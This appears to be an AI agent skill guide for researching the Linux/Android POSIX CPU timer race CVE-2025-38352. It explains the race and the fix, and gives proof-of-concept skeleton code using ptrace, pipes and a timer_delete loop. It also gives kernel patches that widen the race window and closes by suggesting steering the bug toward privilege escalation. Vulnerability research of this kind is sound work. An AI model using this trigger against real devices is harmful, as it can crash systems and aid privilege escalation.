CVE-2025-38352 Research Skill
A skill for researching and analyzing the POSIX CPU timers TOCTOU race condition (CVE-2025-38352) in Linux/Android kernels.
What this skill does
This skill helps you:
- Understand the vulnerability mechanics and kernel internals
- Create reproducible PoCs for research purposes
- Set up test environments with vulnerable kernels
- Analyze race conditions and timing windows
- Document findings and mitigation strategies
Safety first
⚠️ Critical: This vulnerability can crash kernels and corrupt memory. Only run PoCs in:
- Isolated VMs (QEMU, VirtualBox)
- Emulators with snapshots
- Dedicated research environments
Never run on production systems or shared infrastructure.
Vulnerability overview
The bug in one sentence
A TOCTOU race between IRQ-context timer expiry and concurrent timer deletion during task exit can corrupt kernel timer state, causing crashes or enabling privilege escalation.
Key components
| Component | Role |
|---|---|
posix-cpu-timers.c |
Timer management code |
collect_timerqueue() |
Marks timers as firing, moves to firing list |
handle_posix_cpu_timers() |
Delivers timers, drops sighand lock |
posix_cpu_timer_del() |
Deletes timers, checks firing flag |
release_task() |
Tears down sighand during exit |
The race window
CPU 0 (IRQ) CPU 1 (exit path)
─────────────────────────────────────────────────────
handle_posix_cpu_timers()
collect_timerqueue()
ctmr->firing = 1
unlock_task_sighand() ──────►│
│ posix_cpu_timer_del()
│ lock_task_sighand() fails
│ skips firing check
│ frees timer (RCU)
list_for_each_entry_safe() │
dereferences freed timer │
→ KASAN / crash │
Creating a PoC
Step 1: Environment setup
You need:
- Multi-core VM (4+ cores recommended)
- Kernel with
CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n - KASAN enabled for detection (optional but helpful)
For x86_64/arm64: These architectures force HAVE_POSIX_CPU_TIMERS_TASK_WORK=y, so you'll need to patch the Kconfig:
// kernel/time/Kconfig
config POSIX_CPU_TIMERS_TASK_WORK
bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y
Then rebuild with CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n.
For 32-bit Android: The vulnerable path may already be present.
Step 2: PoC structure
A reliable PoC needs:
- Parent process: Ptrace attach, control reaping via waitpid
- Child process: Spawn worker thread with CPU timer
- IPC: Pipes to coordinate timing between processes
- CPU pinning:
sched_setaffinity()to reduce scheduler noise
Step 3: Worker thread with timer
static timer_t timer;
static long wait_time = 250000; // nanoseconds of CPU time
static pthread_barrier_t barrier;
static void timer_fire(sigval_t unused) {
puts("timer fired");
}
static void *worker(void *arg) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_THREAD;
sev.sigev_notify_function = timer_fire;
timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);
struct itimerspec ts = {
.it_interval = {0, 0},
.it_value = {0, wait_time},
};
pthread_barrier_wait(&barrier); // Wait for ptrace attach
timer_settime(timer, 0, &ts, NULL);
// Burn CPU to advance timer
for (volatile int i = 0; i < 1000000; i++);
return NULL; // Triggers exit_notify()
}
Step 4: Parent orchestration
// Parent process
int c2p[2], p2c[2]; // Pipes for IPC
pid_t child = fork();
if (child == 0) {
// Child: spawn worker, send TID to parent
// ... worker setup ...
write(c2p[1], &worker_tid, sizeof(worker_tid));
pthread_barrier_wait(&barrier);
} else {
// Parent: ptrace and control reaping
read(c2p[0], &worker_tid, sizeof(worker_tid));
ptrace(PTRACE_ATTACH, worker_tid, NULL, NULL);
waitpid(worker_tid, NULL, __WALL);
ptrace(PTRACE_CONT, worker_tid, NULL, NULL);
// Wait for timer to be collected, then reap
usleep(100000); // Tune this
waitpid(worker_tid, NULL, __WALL); // Triggers release_task()
// Signal child to delete timer
write(p2c[1], &signal, sizeof(signal));
}
Step 5: Timer deletion race
// Child main thread, after receiving signal from parent
void *deleter(void *arg) {
for (;;) {
timer_delete(timer); // Hammer delete in loop
}
}
Debugging and instrumentation
Kernel tracepoints
Add these to spot the race:
// In handle_posix_cpu_timers()
trace_printk("handle_posix_cpu_timers: tsk=%p comm=%s\n", tsk, tsk->comm);
// In posix_cpu_timer_del()
trace_printk("posix_cpu_timer_del: sighand=%p firing=%d\n",
sighand, timer->it.cpu.firing);
KASAN detection
With KASAN enabled, you'll see:
=================================================================
BUG: KASAN: slab-use-after-free in posix_timer_queue_signal
Read of size 8 at addr ffff888012345678 by task worker/1234
CPU: 0 PID: 1234 Comm: worker
Call Trace:
<IRQ>
posix_timer_queue_signal+0x123/0x456
handle_posix_cpu_timers+0x78/0xabc
...
Widening the race window
For research, add a delay in the kernel:
// kernel/time/posix-cpu-timers.c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
if (tsk->comm[0] == 'S' && tsk->comm[1] == 'L') // "SLOWME"
mdelay(500); // 500ms delay
// ... rest of function
}
Then name your worker thread:
prctl(PR_SET_NAME, "SLOWME");
Analysis checklist
When analyzing a potential trigger:
- Is
CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n? - Is the target task exiting but not fully reaped?
- Is another thread calling
timer_delete()concurrently? - Did
collect_timerqueue()setfiring=1beforeunlock_task_sighand()? - Did
posix_cpu_timer_del()fail to acquire sighand? - Did the timer get RCU-freed while still in the firing list?
Mitigation
The fix adds an early return for exiting tasks:
// kernel/time/posix-cpu-timers.c
if (tsk->exit_state)
return;
This prevents entering handle_posix_cpu_timers() for exiting tasks, eliminating the race window.
References
- Race Against Time in the Kernel's Clockwork (StreyPaws)
- Android security bulletin – September 2025
- Android common kernel patch
- CVE-2025-38352 analysis
- PoC repository
- Linux stable fix
Common pitfalls
- Wrong clock: Use
CLOCK_THREAD_CPUTIME_IDfor per-thread timers, notCLOCK_PROCESS_CPUTIME_ID - Timer too slow: Set
it_value.tv_nsecto 1 or very small values to maximize IRQ entries - No CPU pinning: Without
sched_setaffinity(), scheduler noise makes the race unreliable - Missing barrier: The worker must wait for ptrace attach before arming the timer
- Wrong exit path: Target a non-leader thread; the thread-group leader has different exit semantics
Next steps
After creating a PoC:
- Run it in a VM with KASAN to confirm the bug
- Document the exact timing and conditions
- Test against patched kernels to verify the fix
- Consider whether the primitive can be steered toward privilege escalation (requires additional controllable overlaps)